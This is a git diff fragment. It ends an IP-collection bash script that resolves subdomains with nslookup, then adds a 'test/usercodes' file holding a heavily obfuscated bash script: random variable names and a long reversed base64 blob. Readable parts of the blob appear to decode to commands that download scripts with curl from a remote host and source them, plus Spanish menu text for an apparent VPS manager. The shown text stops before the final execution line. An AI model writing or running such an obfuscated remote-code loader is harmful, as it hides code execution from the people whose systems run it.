Iniciando Coleta de IPs\033[1;31m\n====================================\033[0m" +[[ -e $HOME/subresult ]] && rm $HOME/subresult +[[ ! -e $HOME/subresult ]] && touch $HOME/subresult + +for result in $(echo "${DNS[@]}"); do +( +rand="$RANDOM" +dns[rand]="$result" +scan[rand]=$(echo ${result}|cut -d'/' -f1) +IP[rand]=$(nslookup "${scan[rand]}"|grep -Eo 'Address: [0-9.]+'|grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'|tail -1) > /dev/null 2>&1 +echo -e "====================================\nDNS: ${dns[rand]}\nIP: ${IP[rand]}\n====================================" >> $HOME/subresult +unset IP +) & +done +while true; do +[[ $(pidof nslookup|wc -w) -lt "1" ]] && break +done +RSLT=$(($(cat $HOME/subresult|wc -l)/4)) && echo -e "\033[1;31m====================================\n\033[1;32m$RSLT Hosts Capturados\n\033[1;31m====================================\033[0m" +echo -ne "Desea Imprimir los Resultados? [S/N]: "; read yn + [[ $yn = @(s|S|y|Y) ]] && { + echo -ne "\033[1;32m" + cat $HOME/subresult|grep -v = + echo -e "\033[1;31m====================================\033[0m" + } +return 0 +} + +#INICIA SCRIPT +echo -e "\033[1;31m====================================\033[0m" +echo -e "\033[1;33m INICIALIZANDO PROCEDIMENTOS (SCAN)" +echo -e "\033[1;31m====================================\033[0m" +iniciar $1 $2 +[[ $? = "0" ]] && +echo -e "\033[1;32mRegistro Generado en : $HOME/subresult\033[0m" && +echo -e "\033[1;31m====================================\033[0m" diff --git a/test/usercodes b/test/usercodes new file mode 100755 index 0000000..66a5ef0 --- /dev/null +++ b/test/usercodes @@ -0,0 +1,2 @@ +#!/bin/bash +kRqtOUixrnThiIuebgOEGzoIqrJrdzqZqKHqeITFtGrYJsOxjAqReuYPRiljMwWzWRFpcsTqgTQkMRoOZGqxXiPhycDfnxzLkzCX="SSNKFaJywbRUylWhbKAjRFhcIgfoVaDeOwuiVhPdpHhPQeZzXVSaWoEvveBTOozhTTohaGwLhOXkbgFaLnPOkUgkApmMGKTVTxqU";fZWFhyOFdNKvXRICEkNJmxHwEJkPnurAFZUziSUrRJukyzlQhUoypEqIRxVsqoMhgQzQFpNMztpTBgltxfLyfDrqdIOIfsyQUhtT="PldcBftQupxSVXzndzDYRsYBfCnDyttaNhofJEfEjseyCWCbTGiYHtcoyhofXmCUHsJsGMLZyILcNtKaXgoucMWagjVWkXtYUBmS";xgKyYiDurmipOpyBvMeGRFHTiSbuuMmKhGKXZZfebvfiFmcOxSIQylMdUOIIjfmKgzZRZZmiIGRJwtBCuMFkMNsrUgTCOblYxNKz="ch";NRUdoOSxYQGZlLyrHbeoPGcsyUMPHefxPlsBIOpiNHcpltRsGBkEybdAPsCCQdIbrLQFdClgxfVOBqoxxtMwqPOHzfffhSeHLHAa="4";yUlkBRDRRjyeRJxpZeXOhGvtvEhnyYUgiPNsUYGpNJaeoDgqAlhTHolrpiYzWwyavmAlIKnwxxaGOXlewlvQnBMvWiIBVTUfsjLj="";tiqcUTXjwrLqdVrcGpAvVibSmkeTnosrueJOcAdceMkpWkekcNCnFnqBPajxsPtJPSPhcolyAJzGwFxtqtcsDjlmuzaFxKhIGYwL="VoPKDdSpcKbiRiylcyflklRcEhQbbqCSrgkwYxUXwKNCtjVeZZsQORfqffWVtyDSQjRzmJWZRxMspesmwBOHPSfuEIYOEmxtxvWv";kzIEHIrlSegvgxJivMpEjgdpSiHKJxANscJAAAxaauuOBtMilfdpHmKHXkacKRMMJCynhdXdJsbsXHbNppdsNkCRkKSyvBDHGBPK=" ==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